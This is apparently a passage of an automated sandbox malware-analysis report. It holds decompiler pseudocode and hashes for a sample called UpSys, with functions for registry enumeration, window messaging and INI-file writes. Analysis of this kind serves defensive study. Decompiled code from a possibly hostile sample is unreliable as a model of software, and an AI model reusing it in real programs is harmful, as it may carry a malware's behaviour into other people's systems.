				E0000000114000FCA0(__edx | __esi,  *_t88, _t88,  *((intOrPtr*)( *_t88 + 4)) + _t88, _t125);
				goto 0x4007f2d0;
				_t59 =  *(_t88 + 0x7f8);
				r9d = 0;
				r8d = 0;
				_v544 = _t125;
				_v552 = 1;
				_t65 = 0x10624dd3 * _t59 >> 0x20 >> 6;
				_t44 = _t65 >> 0x1f;
				_t66 = _t65 + _t44;
				_a16 = _t66;
				_a20 = _t59 - _t66;
				_v632 =  &_a16;
				0x40016644();
				if (_t44 != 0xffffffff) goto 0x4007f1e0;
				0x4001663e();
				_t85 =  *_t88;
				r8d = 0;
				goto 0x4007f168;
				_t21 = _t139 + 1; // 0x1
				_t46 = E00000001140016ED8(_t85, _t21);
				_t123 = _t85;
				0x4001664a();
				if (_t46 == 0) goto 0x4007f2c8;
				r9d = 0;
				r8d = r13d;
				0x40016650();
				_t126 = _t46;
				if (_t71 == 0xffffffff) goto 0x4007f2af;
				if (_t46 == 0) goto 0x4007f2aa;
				if ( *((long long*)(_t138 + 0x10)) - 3 < 0) goto 0x4007f243;
				if (E00000001140010880( *((intOrPtr*)( *((intOrPtr*)(_t138 + 8)) + 0x10))) != 0) goto 0x4007f290;
				 *((char*)(_t46 + _t85)) = 0;
				if (E00000001140017C00(_t47, _t85) != _t71) goto 0x4007f290;
				E00000001140051E60(0, _t85, _t88,  &_v616, _t85);
				E00000001140078380(_t85, _t88,  &_v616,  &_v584, _t46, _t129, _t136);
				E00000001140002610(E00000001140002610(E00000001140013120(_t85, _t88, _t129, _t85), _t88,  &_v584), _t88,  &_v616);
				goto 0x4007f2c8;
				E00000001140061F10(_t71, _t85, _t88, _t129, _t85, _t46);
				_t55 = E00000001140016710(0, E00000001140017C00(_t47, _t85) - _t71, _t85, _t123, _t126);
				goto 0x4007f2c8;
				goto 0x4007f2b6;
				0x4001663e();
				r8d = 0;
				E0000000114000FCA0(_t55,  *_t88, _t88,  *((intOrPtr*)( *_t88 + 4)) + _t88, _t126);
				0x40016a60();
				return 0;
			}























                                                                                                                                                                                                        0x14007f100
                                                                                                                                                                                                        0x14007f100
                                                                                                                                                                                                        0x14007f100
                                                                                                                                                                                                        0x14007f105
                                                                                                                                                                                                        0x14007f10a
                                                                                                                                                                                                        0x14007f11f
                                                                                                                                                                                                        0x14007f122
                                                                                                                                                                                                        0x14007f128
                                                                                                                                                                                                        0x14007f130
                                                                                                                                                                                                        0x14007f14b
                                                                                                                                                                                                        0x14007f14e
                                                                                                                                                                                                        0x14007f157
                                                                                                                                                                                                        0x14007f15c
                                                                                                                                                                                                        0x14007f168
                                                                                                                                                                                                        0x14007f16d
                                                                                                                                                                                                        0x14007f172
                                                                                                                                                                                                        0x14007f17d
                                                                                                                                                                                                        0x14007f180
                                                                                                                                                                                                        0x14007f183
                                                                                                                                                                                                        0x14007f188
                                                                                                                                                                                                        0x14007f192
                                                                                                                                                                                                        0x14007f197
                                                                                                                                                                                                        0x14007f19a
                                                                                                                                                                                                        0x14007f1a6
                                                                                                                                                                                                        0x14007f1b2
                                                                                                                                                                                                        0x14007f1bb
                                                                                                                                                                                                        0x14007f1c0
                                                                                                                                                                                                        0x14007f1c8
                                                                                                                                                                                                        0x14007f1ca
                                                                                                                                                                                                        0x14007f1d1
                                                                                                                                                                                                        0x14007f1db
                                                                                                                                                                                                        0x14007f1de
                                                                                                                                                                                                        0x14007f1e0
                                                                                                                                                                                                        0x14007f1e7
                                                                                                                                                                                                        0x14007f1f4
                                                                                                                                                                                                        0x14007f1f7
                                                                                                                                                                                                        0x14007f1fe
                                                                                                                                                                                                        0x14007f204
                                                                                                                                                                                                        0x14007f207
                                                                                                                                                                                                        0x14007f210
                                                                                                                                                                                                        0x14007f215
                                                                                                                                                                                                        0x14007f21b
                                                                                                                                                                                                        0x14007f223
                                                                                                                                                                                                        0x14007f22f
                                                                                                                                                                                                        0x14007f241
                                                                                                                                                                                                        0x14007f246
                                                                                                                                                                                                        0x14007f251
                                                                                                                                                                                                        0x14007f25b
                                                                                                                                                                                                        0x14007f26a
                                                                                                                                                                                                        0x14007f289
                                                                                                                                                                                                        0x14007f28e
                                                                                                                                                                                                        0x14007f295
                                                                                                                                                                                                        0x14007f2a3
                                                                                                                                                                                                        0x14007f2a8
                                                                                                                                                                                                        0x14007f2ad
                                                                                                                                                                                                        0x14007f2af
                                                                                                                                                                                                        0x14007f2b9
                                                                                                                                                                                                        0x14007f2c3
                                                                                                                                                                                                        0x14007f2cb
                                                                                                                                                                                                        0x14007f2ee

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: ErrorLast$mallocselect
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 3549979093-0
                                                                                                                                                                                                        • Opcode ID: 04f9b6006d21fda448755248f25b1574403633ffd0ed2e2128e0a7ad5d7cc0cc
                                                                                                                                                                                                        • Instruction ID: b884b4e4448d2dd6b8f7d9d92115f66c3e12adac448a8f1772fa80d9a63524a6
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 04f9b6006d21fda448755248f25b1574403633ffd0ed2e2128e0a7ad5d7cc0cc
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 6851D23671464082EB65EB27E8557EE6395FB88BD4F548222FF5A477E6DE38C4028B00
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014007DC10 Relevance: 7.6, APIs: 5, Instructions: 132registryCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 63%
                                                                                                                                                                                                        			E0000000114007DC10(void* __ebx, void* __ecx, void* __edx, void* __esi, void* __eflags, long long __rbx, intOrPtr* __rcx, void* __rdx, void* __r8, void* __r12) {
				void* __rdi;
				void* __rsi;
				void* __rbp;
				void* _t69;
				void* _t84;
				void* _t85;
				void* _t92;
				void* _t100;
				long long _t105;
				intOrPtr _t109;
				intOrPtr* _t112;
				void* _t150;
				void* _t152;
				void* _t153;
				void* _t155;
				void* _t156;
				void* _t158;
				void* _t159;
				void* _t164;

				_t92 = __eflags;
				_t85 = __edx;
				_t84 = __ecx;
				_t100 = _t158;
				 *((long long*)(_t100 + 8)) = __rbx;
				_t159 = _t158 - 0x2f0;
				 *(_t159 + 0x40) =  *(_t159 + 0x40) & 0x00000000;
				_t112 = __rcx;
				_t153 = __r8;
				_t156 = __rdx;
				 *((intOrPtr*)(_t100 + 0x20)) = 0xff;
				E0000000114000FD50(_t100, __rcx, _t159 + 0x78);
				E0000000114000FD50(_t100, _t112, _t159 + 0x58);
				E0000000114000FD50(_t100, _t112, _t159 + 0x98);
				E00000001140012D80(_t85, _t100, _t112, __r8, 0x4009b6c0, __r8, __r8);
				E00000001140062190( *((intOrPtr*)(_t156 + 8)),  *((intOrPtr*)( *((intOrPtr*)(_t156 + 8)))));
				E00000001140001D30( *((intOrPtr*)(_t156 + 8)), _t112, _t159 + 0xb8,  *((intOrPtr*)(_t156 + 8)));
				 *(_t159 + 0x20) = _t159 + 0x98;
				E00000001140075290(__ebx, _t84, __esi, _t159 + 0x98, _t112,  *((intOrPtr*)(_t156 + 8)), _t150, _t153, _t156, _t159 + 0x78, _t159 + 0x58, __r12, _t150, _t152);
				 *((long long*)(_t159 + 0xc0)) =  *((intOrPtr*)(_t159 + 0x60));
				 *((long long*)(_t159 + 0xc8)) =  *((intOrPtr*)(_t159 + 0x68));
				_t105 =  *((intOrPtr*)(_t159 + 0x70));
				 *_t105 =  *_t105 + 1;
				 *((long long*)(_t159 + 0xb8)) =  *((intOrPtr*)(_t159 + 0x58));
				 *((long long*)(_t159 + 0xd0)) = _t105;
				if (E000000011400750E0(_t85, __esi, _t92, _t105, _t112, _t159 + 0xb8, _t153, _t156, _t159 + 0x48, _t159 + 0x318) != 0) goto 0x4007dd18;
				r8d = 0;
				E0000000114000FCA0(2,  *_t112, _t112,  *((intOrPtr*)( *_t112 + 4)) + _t112, _t153, _t155);
				goto 0x4007de2e;
				_t69 = E00000001140042380( *_t112, _t159 + 0x78);
				dil = _t69;
				if (_t69 != 0) goto 0x4007dd50;
				_t164 = _t159 + 0x40;
				if (RegConnectRegistryW(??, ??, ??) == 0) goto 0x4007dd49;
				goto 0x4007dd01;
				goto 0x4007dd55;
				r9d =  *(_t159 + 0x318);
				r9d = r9d | 0x00020019;
				r8d = 0;
				 *(_t159 + 0x20) = _t159 + 0x50;
				if (RegOpenKeyExW(??, ??, ??, ??, ??) == 0) goto 0x4007dd9e;
				r8d = 0;
				_t37 = _t164 + 1; // 0x1
				E0000000114000FCA0(_t37,  *_t112, _t112,  *((intOrPtr*)( *_t112 + 4)) + _t112, _t153);
				goto 0x4007de1e;
				_t109 =  *((intOrPtr*)(_t156 + 8));
				E00000001140010880( *((intOrPtr*)(_t109 + 8)));
				 *((long long*)(_t159 + 0x38)) = _t159 + 0xd8;
				 *(_t159 + 0x30) =  *(_t159 + 0x30) & 0x00000000;
				 *(_t159 + 0x28) =  *(_t159 + 0x28) & 0x00000000;
				 *(_t159 + 0x20) =  *(_t159 + 0x20) & 0x00000000;
				_t51 = _t109 - 1; // -1
				if (RegEnumKeyExW(??, ??, ??, ??, ??, ??, ??, ??) == 0) goto 0x4007de03;
				r8d = 0;
				E0000000114000FCA0(_t51 | 0xffffffff,  *_t112, _t112,  *((intOrPtr*)( *_t112 + 4)) + _t112, _t153);
				goto 0x4007de13;
				E00000001140012D80(_t51 | 0xffffffff,  *_t112, _t112, _t153, _t159 + 0xe0, _t153, _t159 + 0xe0);
				RegCloseKey(??);
				if (dil != 0) goto 0x4007de2e;
				E00000001140002610(E00000001140002610(E00000001140002610(RegCloseKey(??), _t112, _t159 + 0x98), _t112, _t159 + 0x58), _t112, _t159 + 0x78);
				return 0;
			}






















                                                                                                                                                                                                        0x14007dc10
                                                                                                                                                                                                        0x14007dc10
                                                                                                                                                                                                        0x14007dc10
                                                                                                                                                                                                        0x14007dc10
                                                                                                                                                                                                        0x14007dc13
                                                                                                                                                                                                        0x14007dc1a
                                                                                                                                                                                                        0x14007dc21
                                                                                                                                                                                                        0x14007dc27
                                                                                                                                                                                                        0x14007dc2f
                                                                                                                                                                                                        0x14007dc32
                                                                                                                                                                                                        0x14007dc35
                                                                                                                                                                                                        0x14007dc3c
                                                                                                                                                                                                        0x14007dc46
                                                                                                                                                                                                        0x14007dc53
                                                                                                                                                                                                        0x14007dc62
                                                                                                                                                                                                        0x14007dc6e
                                                                                                                                                                                                        0x14007dc7e
                                                                                                                                                                                                        0x14007dc9b
                                                                                                                                                                                                        0x14007dca0
                                                                                                                                                                                                        0x14007dcaf
                                                                                                                                                                                                        0x14007dcbc
                                                                                                                                                                                                        0x14007dcc4
                                                                                                                                                                                                        0x14007dcd1
                                                                                                                                                                                                        0x14007dce3
                                                                                                                                                                                                        0x14007dceb
                                                                                                                                                                                                        0x14007dcfa
                                                                                                                                                                                                        0x14007dd04
                                                                                                                                                                                                        0x14007dd0e
                                                                                                                                                                                                        0x14007dd13
                                                                                                                                                                                                        0x14007dd1d
                                                                                                                                                                                                        0x14007dd22
                                                                                                                                                                                                        0x14007dd27
                                                                                                                                                                                                        0x14007dd33
                                                                                                                                                                                                        0x14007dd40
                                                                                                                                                                                                        0x14007dd47
                                                                                                                                                                                                        0x14007dd4e
                                                                                                                                                                                                        0x14007dd55
                                                                                                                                                                                                        0x14007dd6a
                                                                                                                                                                                                        0x14007dd71
                                                                                                                                                                                                        0x14007dd74
                                                                                                                                                                                                        0x14007dd81
                                                                                                                                                                                                        0x14007dd86
                                                                                                                                                                                                        0x14007dd8d
                                                                                                                                                                                                        0x14007dd94
                                                                                                                                                                                                        0x14007dd99
                                                                                                                                                                                                        0x14007dd9e
                                                                                                                                                                                                        0x14007dda6
                                                                                                                                                                                                        0x14007ddbb
                                                                                                                                                                                                        0x14007ddc0
                                                                                                                                                                                                        0x14007ddcb
                                                                                                                                                                                                        0x14007ddd1
                                                                                                                                                                                                        0x14007dddf
                                                                                                                                                                                                        0x14007ddea
                                                                                                                                                                                                        0x14007ddef
                                                                                                                                                                                                        0x14007ddfc
                                                                                                                                                                                                        0x14007de01
                                                                                                                                                                                                        0x14007de0e
                                                                                                                                                                                                        0x14007de18
                                                                                                                                                                                                        0x14007de21
                                                                                                                                                                                                        0x14007de4a
                                                                                                                                                                                                        0x14007de63

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Close$ConnectEnumOpenRegistry
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 3776047136-0
                                                                                                                                                                                                        • Opcode ID: d1d65f8908257aabcf65f1f2b538ad53546d6baf91f18340b751cd16dd725711
                                                                                                                                                                                                        • Instruction ID: 53d3107d761949b6c6a15c50b2cb71c22e010cef3de3f24ceef63b2e600e05a0
                                                                                                                                                                                                        • Opcode Fuzzy Hash: d1d65f8908257aabcf65f1f2b538ad53546d6baf91f18340b751cd16dd725711
                                                                                                                                                                                                        • Instruction Fuzzy Hash: D5511A32208A8581EB61DF16E4517EAB764F7C9BD4F508012BB8D47AB9DF38C549CB40
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014004CC30 Relevance: 7.6, APIs: 5, Instructions: 111COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Window$Show$Enable
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 2939132127-0
                                                                                                                                                                                                        • Opcode ID: f2df3bded7540d3cf55da82cc636e5bd0d4ff0afb399c4d314e3ebb56f684b6d
                                                                                                                                                                                                        • Instruction ID: d74bf08242167382c1da94002b9cb3079d6bcaaaecf2557e63c61eb3b84cc0d5
                                                                                                                                                                                                        • Opcode Fuzzy Hash: f2df3bded7540d3cf55da82cc636e5bd0d4ff0afb399c4d314e3ebb56f684b6d
                                                                                                                                                                                                        • Instruction Fuzzy Hash: D6517F72611A8485E796CF2AD484BE977A1F788FC8F198136EF5D477A0CB39C886C304
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140043A20 Relevance: 7.6, APIs: 5, Instructions: 91sleepwindowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 15%
                                                                                                                                                                                                        			E00000001140043A20(void* __edx, long long __rbx, void* __rcx, long long __rsi) {
				void* _t75;
				long long _t76;
				long _t83;
				long long _t88;
				void* _t90;
				void* _t91;
				long _t96;
				int _t98;
				struct HWND__* _t101;
				struct HWND__* _t104;

				_t76 = __rbx;
				_t75 = _t90;
				 *((long long*)(_t75 + 8)) = __rbx;
				 *((long long*)(_t75 + 0x10)) = _t88;
				 *((long long*)(_t75 + 0x18)) = __rsi;
				_t91 = _t90 - 0x30;
				r15d = r8d;
				GetWindowRect(_t104);
				if (r9d != 0xffffffff) goto 0x40043a6b;
				asm("cdq");
				if ( *((intOrPtr*)(_t91 + 0x80)) != 0xffffffff) goto 0x40043a82;
				asm("cdq");
				r13d = ( *((intOrPtr*)(_t91 + 0x2c)) -  *((intOrPtr*)(_t91 + 0x24))) / 0x00000002 & 0x0000ffff;
				r13d = r13d << 0x10;
				_t19 = _t88 + 1; // 0x202
				r12d = _t19;
				if (__edx != 2) goto 0x40043ab1;
				_t21 = _t76 + 2; // 0x205
				r12d = _t21;
				goto 0x40043ac3;
				if (__edx != 1) goto 0x40043ac8;
				_t22 = _t88 + 1; // 0x208
				r12d = _t22;
				if (r15d - 1 < 0) goto 0x40043b1e;
				asm("cdq");
				if (0 == 1) goto 0x40043aea;
				PostMessageW(_t101, _t98);
				Sleep(_t96);
				r8d = 0;
				PostMessageW(??, ??, ??, ??);
				Sleep(_t83);
				if (2 - r15d <= 0) goto 0x40043ad2;
				return 1;
			}













                                                                                                                                                                                                        0x140043a20
                                                                                                                                                                                                        0x140043a20
                                                                                                                                                                                                        0x140043a23
                                                                                                                                                                                                        0x140043a27
                                                                                                                                                                                                        0x140043a2b
                                                                                                                                                                                                        0x140043a38
                                                                                                                                                                                                        0x140043a4b
                                                                                                                                                                                                        0x140043a4e
                                                                                                                                                                                                        0x140043a5c
                                                                                                                                                                                                        0x140043a66
                                                                                                                                                                                                        0x140043a75
                                                                                                                                                                                                        0x140043a7f
                                                                                                                                                                                                        0x140043a82
                                                                                                                                                                                                        0x140043a8e
                                                                                                                                                                                                        0x140043a9d
                                                                                                                                                                                                        0x140043a9d
                                                                                                                                                                                                        0x140043aa3
                                                                                                                                                                                                        0x140043aa8
                                                                                                                                                                                                        0x140043aa8
                                                                                                                                                                                                        0x140043aaf
                                                                                                                                                                                                        0x140043ab3
                                                                                                                                                                                                        0x140043abf
                                                                                                                                                                                                        0x140043abf
                                                                                                                                                                                                        0x140043ad0
                                                                                                                                                                                                        0x140043ada
                                                                                                                                                                                                        0x140043ae6
                                                                                                                                                                                                        0x140043aea
                                                                                                                                                                                                        0x140043af2
                                                                                                                                                                                                        0x140043afe
                                                                                                                                                                                                        0x140043b04
                                                                                                                                                                                                        0x140043b0c
                                                                                                                                                                                                        0x140043b1c
                                                                                                                                                                                                        0x140043b3c

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: MessagePostSleep$RectWindow
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 3382505437-0
                                                                                                                                                                                                        • Opcode ID: 261e56c41c751004358fca3994ceb7b11fa141ec8c94ef9dd0274db35971fa36
                                                                                                                                                                                                        • Instruction ID: 264234998a56a1d78a6f01950860ec257b86fd6ade1bebeaae0c4ed36e2babdb
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 261e56c41c751004358fca3994ceb7b11fa141ec8c94ef9dd0274db35971fa36
                                                                                                                                                                                                        • Instruction Fuzzy Hash: C631E03720465087E721CF2AE84479A73A1F38CBA8F554125FFAA877A5DA38CD55C740
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014006D6A0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 38%
                                                                                                                                                                                                        			E0000000114006D6A0(void* __edx, void* __esi, void* __rax, long long __rbx, intOrPtr* __rcx, void* __rdx, long long __rsi, long long __rbp, signed int* __r8, void* __r9, void* __r10, void* __r11, long long _a8, char _a24, long long _a32, void* _a552, void* _a66088, void* _a66112) {
				signed int* _t70;
				intOrPtr* _t95;
				signed int* _t102;

				_t102 = __r8;
				_a8 = __rbx;
				_a24 = __rbp;
				_a32 = __rsi;
				E00000001140030CB0(0x10230, __rax, __r10, __r11);
				_t95 = __rcx;
				_t70 = __r8;
				E00000001140007A40(__r8, __r8, __rcx);
				 *__r8 =  *__r8 & 0x00000000;
				__r8[2] = 1;
				bpl = 0;
				if ( *((long long*)(__rdx + 0x10)) - 3 <= 0) goto 0x4006d6f5;
				bpl = E00000001140010880( *((intOrPtr*)( *((intOrPtr*)(__rdx + 8)) + 0x18))) > 0;
				E00000001140062190( *((intOrPtr*)(__rdx + 8)),  *((intOrPtr*)( *((intOrPtr*)(__rdx + 8)))));
				E000000011400151D0( *((intOrPtr*)(__rdx + 8)), __r8,  &_a24);
				E00000001140062190( *((intOrPtr*)(__rdx + 8)),  *((intOrPtr*)( *((intOrPtr*)(__rdx + 8)) + 8)));
				r8d = 0x7fff;
				if (GetPrivateProfileSectionW(??, ??, ??, ??) == 0) goto 0x4006d7f3;
				E00000001140062190( *((intOrPtr*)(__rdx + 8)),  *((intOrPtr*)( *((intOrPtr*)(__rdx + 8)) + 0x10)));
				r8d = 3;
				if (GetPrivateProfileSectionW(??, ??, ??, ??) == 0) goto 0x4006d789;
				if (bpl != 0) goto 0x4006d789;
				r8d = 0;
				_t19 =  &(_t102[0]); // 0x1
				E0000000114000FCA0(_t19,  *_t95, _t70,  *((intOrPtr*)( *_t95 + 4)) + _t95, _t95);
				goto 0x4006d7f3;
				E00000001140062190( *((intOrPtr*)(__rdx + 8)),  *((intOrPtr*)( *((intOrPtr*)(__rdx + 8)) + 0x10)));
				WritePrivateProfileSectionW(??, ??, ??);
				E00000001140062190( *((intOrPtr*)(__rdx + 8)),  *((intOrPtr*)( *((intOrPtr*)(__rdx + 8)) + 8)));
				r8d = 0;
				WritePrivateProfileStringW(??, ??, ??, ??);
				r8d = 0;
				WritePrivateProfileStringW(??, ??, ??, ??);
				E00000001140007A40(_t70, _t70, _t95);
				_t70[2] = 1;
				 *_t70 = 1;
				return 0;
			}






                                                                                                                                                                                                        0x14006d6a0
                                                                                                                                                                                                        0x14006d6a0
                                                                                                                                                                                                        0x14006d6a5
                                                                                                                                                                                                        0x14006d6aa
                                                                                                                                                                                                        0x14006d6b5
                                                                                                                                                                                                        0x14006d6bd
                                                                                                                                                                                                        0x14006d6c3
                                                                                                                                                                                                        0x14006d6c9
                                                                                                                                                                                                        0x14006d6ce
                                                                                                                                                                                                        0x14006d6d1
                                                                                                                                                                                                        0x14006d6d8
                                                                                                                                                                                                        0x14006d6e0
                                                                                                                                                                                                        0x14006d6f1
                                                                                                                                                                                                        0x14006d6fc
                                                                                                                                                                                                        0x14006d709
                                                                                                                                                                                                        0x14006d716
                                                                                                                                                                                                        0x14006d72b
                                                                                                                                                                                                        0x14006d739
                                                                                                                                                                                                        0x14006d747
                                                                                                                                                                                                        0x14006d75c
                                                                                                                                                                                                        0x14006d76a
                                                                                                                                                                                                        0x14006d76f
                                                                                                                                                                                                        0x14006d774
                                                                                                                                                                                                        0x14006d77b
                                                                                                                                                                                                        0x14006d782
                                                                                                                                                                                                        0x14006d787
                                                                                                                                                                                                        0x14006d791
                                                                                                                                                                                                        0x14006d7a6
                                                                                                                                                                                                        0x14006d7b4
                                                                                                                                                                                                        0x14006d7be
                                                                                                                                                                                                        0x14006d7c6
                                                                                                                                                                                                        0x14006d7d1
                                                                                                                                                                                                        0x14006d7d8
                                                                                                                                                                                                        0x14006d7e1
                                                                                                                                                                                                        0x14006d7e6
                                                                                                                                                                                                        0x14006d7ed
                                                                                                                                                                                                        0x14006d80d

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: PrivateProfile$SectionWrite$String
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 2832842796-0
                                                                                                                                                                                                        • Opcode ID: 2ddd9788f517eaef7ebc6038ea5ed44b754ea62c0478598e29b0b7772873bd87
